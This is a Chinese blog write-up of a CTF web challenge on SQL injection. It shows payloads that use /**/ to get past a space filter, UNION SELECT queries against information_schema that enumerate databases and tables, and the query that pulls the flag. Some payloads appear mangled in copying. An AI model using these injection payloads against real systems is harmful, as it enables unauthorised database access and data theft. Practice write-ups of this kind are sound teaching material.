美文网首页
实验吧CTF-Web题 简单的sql注入

实验吧CTF-Web题 简单的sql注入

作者: 恰似一碗咸鱼粥 | 来源:发表于2018-12-16 09:05 被阅读0次

1.

首先检测是否存在注入点,输入',产生报错如下:

You have an error in your SQL syntax; check the manual that >corresponds to your MySQL server version for the right syntax to use >near ''''' at line 1
后台处理了这个单引号,说明此处存在sql注入漏洞,推测后台代码为
select name from 某个表 where id='user_input'

2.

输入1' and 1=1#,产生了报错,说明后台进行了某些过滤,观察网页的url:http://ctf5.shiyanbar.com/423/web/?id=1%27+and+1%3D1%23,发现空格被替换为了+,推测对空格进行了过滤。

3.

对空格进行过滤的常用绕过方法:用()或者/**/代替空格
对单引号的绕过方法:where '1'='1

4.

爆库
输入1'//union//select//schema_name//from//information_schema.schemata//where/**/'1'='1

ID: >1'//union//select//schema_name//from//information_schem>a.schemata//where//'1'='1
name: baloteli
ID: >1'/
/union//select//schema_name//from//information_schem>a.schemata//where//'1'='1
name: information_schema
ID: >1'//union//select//schema_name//from//information_schem>a.schemata//where//'1'='1
name: test
ID: >1'/
/union//select//schema_name//from//information_schem>a.schemata//where//'1'='1
name: web1
说明mysql中有四个库,baloteli和information_schema和test和web1

爆表
输入1'//union//select//table_name//from//information_schema.tables//where/**/'1'='1

ID: 1'//union//select//table_name//from//information_schema.tables//where/**/'1'='1
name: flag
得到表名为flag,推测flag也为字段名

爆字段
输入
1'//union//select//column_name//from//information_schema.columns//where//'1'='1
然而出现报错,推测被过滤,于是直接输入:
1'/
/union//select//flag//from//flag//where//'1'='1
得到flag

相关文章

  • 实验吧CTF-Web题 简单的sql注入

    1. 首先检测是否存在注入点,输入',产生报错如下: You have an error in your SQL ...

  • 实验吧-简单的sql注入

    实验吧-简单的sql注入 原题链接 http://ctf5.shiyanbar.com/423/web/ 分析 发...

  • 实验吧-简单的sql注入之3

    实验吧-简单的sql注入之3 原题链接 http://ctf5.shiyanbar.com/web/index_3...

  • 实验吧 简单的sql注入

    题目如下 首先简单判断是否存在sql注入输入1,显示ID:1,name:baloteli输入1',显示You ha...

  • 实验吧CTF简单SQL注入

    简单的SQL注入1,2 知识点: 空格用/**/或者()代替 可以把关键字重复一遍防止字符过滤 获取数据库名:1'...

  • 实验吧--简单的SQL注入一

    一、注入点测试 1、查看源码,发现其提交方式为get。 2、链接后面添加id=1'报错,说明其存在注入点 3、输入...

  • 实验吧 简单的SQL注入2

    题目 同第一个注入相比,没什么界面没什么太大变化,只是过滤的东西变了。 注入判断输入1,返回正常;输入1',会报错...

  • 实验吧 简单的SQL注入3

    首先还是晒一下题目: 判断是否存在注入 我们还是来判断一下是否存在注入,输入1'发现会提示语法错误,说明存在注入。...

  • 实验吧 CTF 简单的sql注入

    以下为原文摘抄: 因为本人在阅读答案时,有很多地方不明白的。在多次阅读之后,决定将原文摘抄下,并在不懂的地方加上笔...

  • sql注入与md5

    今天看了一下实验吧的题,其中有一道后台登陆的题SQL注入&WAF绕过姿势 https://blog.csdn.ne...

网友评论

      本文标题:实验吧CTF-Web题 简单的sql注入

      本文链接:https://www.haomeiwen.com/subject/lftzhqtx.html